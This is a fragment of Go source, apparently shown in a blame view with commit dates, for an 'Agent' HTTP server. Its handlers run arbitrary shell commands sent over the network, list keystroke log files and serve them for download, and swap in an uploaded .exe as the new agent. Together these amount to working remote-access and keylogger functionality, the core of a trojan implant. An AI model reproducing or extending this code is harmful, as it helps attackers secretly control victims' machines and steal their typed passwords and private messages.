|
|
}
|
|
|
|
|
helpers.WriteJSON(w, http.StatusOK, map[string]any{"ok": true, "key": request.Key, "action": action})
|
|
|
|
|
}
|
|
|
|
|
|
2026-08-18 16:40:50 +03:00
|
|
|
func (a *Agent) handleExec(w http.ResponseWriter, r *http.Request) {
|
|
|
|
|
if r.Method != http.MethodPost {
|
|
|
|
|
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax)
|
|
|
|
|
defer r.Body.Close()
|
|
|
|
|
var request models.ExecRequest
|
|
|
|
|
decoder := json.NewDecoder(r.Body)
|
|
|
|
|
decoder.DisallowUnknownFields()
|
|
|
|
|
if err := decoder.Decode(&request); err != nil {
|
|
|
|
|
helpers.WriteError(w, http.StatusBadRequest, "body must contain a command")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
cmdline := strings.TrimSpace(request.Command)
|
|
|
|
|
if cmdline == "" {
|
|
|
|
|
helpers.WriteError(w, http.StatusBadRequest, command.ErrEmptyCommand.Error())
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
timeout, err := command.ResolveTimeout(request.TimeoutSec)
|
|
|
|
|
if err != nil {
|
|
|
|
|
helpers.WriteError(w, http.StatusBadRequest, err.Error())
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
ctx, cancel := context.WithTimeout(r.Context(), timeout)
|
|
|
|
|
defer cancel()
|
|
|
|
|
result, err := command.Run(ctx, cmdline)
|
|
|
|
|
if errors.Is(err, command.ErrTimeout) {
|
|
|
|
|
helpers.WriteError(w, http.StatusGatewayTimeout, err.Error())
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
if err != nil {
|
|
|
|
|
helpers.Log.Printf("exec: %v", err)
|
|
|
|
|
helpers.WriteError(w, http.StatusInternalServerError, "could not run command")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
helpers.WriteJSON(w, http.StatusOK, result)
|
|
|
|
|
}
|
2026-08-28 12:44:09 +03:00
|
|
|
|
|
|
|
|
func (a *Agent) handleKeylog(w http.ResponseWriter, r *http.Request) {
|
|
|
|
|
if r.Method != http.MethodGet {
|
|
|
|
|
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
files, err := keylog.List()
|
|
|
|
|
if err != nil {
|
|
|
|
|
helpers.Log.Printf("keylog list: %v", err)
|
|
|
|
|
helpers.WriteError(w, http.StatusInternalServerError, "could not list keystroke logs")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
dir, err := keylog.Dir()
|
|
|
|
|
if err != nil {
|
|
|
|
|
helpers.Log.Printf("keylog dir: %v", err)
|
|
|
|
|
helpers.WriteError(w, http.StatusInternalServerError, "could not resolve keystroke log directory")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
if files == nil {
|
|
|
|
|
files = []keylog.FileInfo{}
|
|
|
|
|
}
|
|
|
|
|
helpers.WriteJSON(w, http.StatusOK, map[string]any{"directory": dir, "files": files})
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func (a *Agent) handleKeylogDownload(w http.ResponseWriter, r *http.Request) {
|
|
|
|
|
if r.Method != http.MethodGet {
|
|
|
|
|
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
name := r.URL.Query().Get("file")
|
|
|
|
|
if name == "" {
|
|
|
|
|
helpers.WriteError(w, http.StatusBadRequest, "file is required")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
if !keylog.ValidLogFilename(name) {
|
|
|
|
|
helpers.WriteError(w, http.StatusBadRequest, "invalid log file name")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
file, info, err := keylog.Open(name)
|
|
|
|
|
if err != nil {
|
|
|
|
|
if errors.Is(err, os.ErrNotExist) {
|
|
|
|
|
helpers.WriteError(w, http.StatusNotFound, "log file not found")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
if errors.Is(err, os.ErrInvalid) {
|
|
|
|
|
helpers.WriteError(w, http.StatusBadRequest, "invalid log file name")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
helpers.Log.Printf("keylog download: %v", err)
|
|
|
|
|
helpers.WriteError(w, http.StatusInternalServerError, "could not open log file")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
defer file.Close()
|
|
|
|
|
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
|
|
|
|
w.Header().Set("Content-Disposition", `attachment; filename="`+strings.ReplaceAll(filepath.Base(name), `"`, "'")+`"`)
|
|
|
|
|
w.Header().Set("Accept-Ranges", "bytes")
|
|
|
|
|
http.ServeContent(w, r, info.Name(), info.ModTime(), file)
|
|
|
|
|
}
|
2026-09-01 20:17:06 +03:00
|
|
|
|
|
|
|
|
func (a *Agent) handleUpdate(w http.ResponseWriter, r *http.Request) {
|
|
|
|
|
if r.Method != http.MethodPost {
|
|
|
|
|
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
r.Body = http.MaxBytesReader(w, r.Body, config.MaxUploadSize)
|
|
|
|
|
if err := r.ParseMultipartForm(config.MaxUploadSize); err != nil {
|
|
|
|
|
helpers.WriteError(w, http.StatusBadRequest, "upload body is too large or invalid")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
upload, header, err := r.FormFile("file")
|
|
|
|
|
if err != nil {
|
|
|
|
|
helpers.WriteError(w, http.StatusBadRequest, "file is required")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
defer upload.Close()
|
|
|
|
|
if !strings.EqualFold(filepath.Ext(header.Filename), ".exe") {
|
|
|
|
|
helpers.WriteError(w, http.StatusBadRequest, "file must be a .exe")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
saved, nextAddr, err := update.Deploy(a.addr, upload)
|
|
|
|
|
if err != nil {
|
|
|
|
|
helpers.Log.Printf("update deploy: %v", err)
|
|
|
|
|
if strings.Contains(err.Error(), "not available") {
|
|
|
|
|
helpers.WriteError(w, http.StatusConflict, err.Error())
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
helpers.WriteError(w, http.StatusBadRequest, err.Error())
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
helpers.WriteJSON(w, http.StatusOK, map[string]any{
|
|
|
|
|
"ok": true,
|
|
|
|
|
"path": saved,
|
|
|
|
|
"listen_address": nextAddr,
|
|
|
|
|
"previous_listen_address": a.addr,
|
|
|
|
|
})
|
|
|
|
|
}
|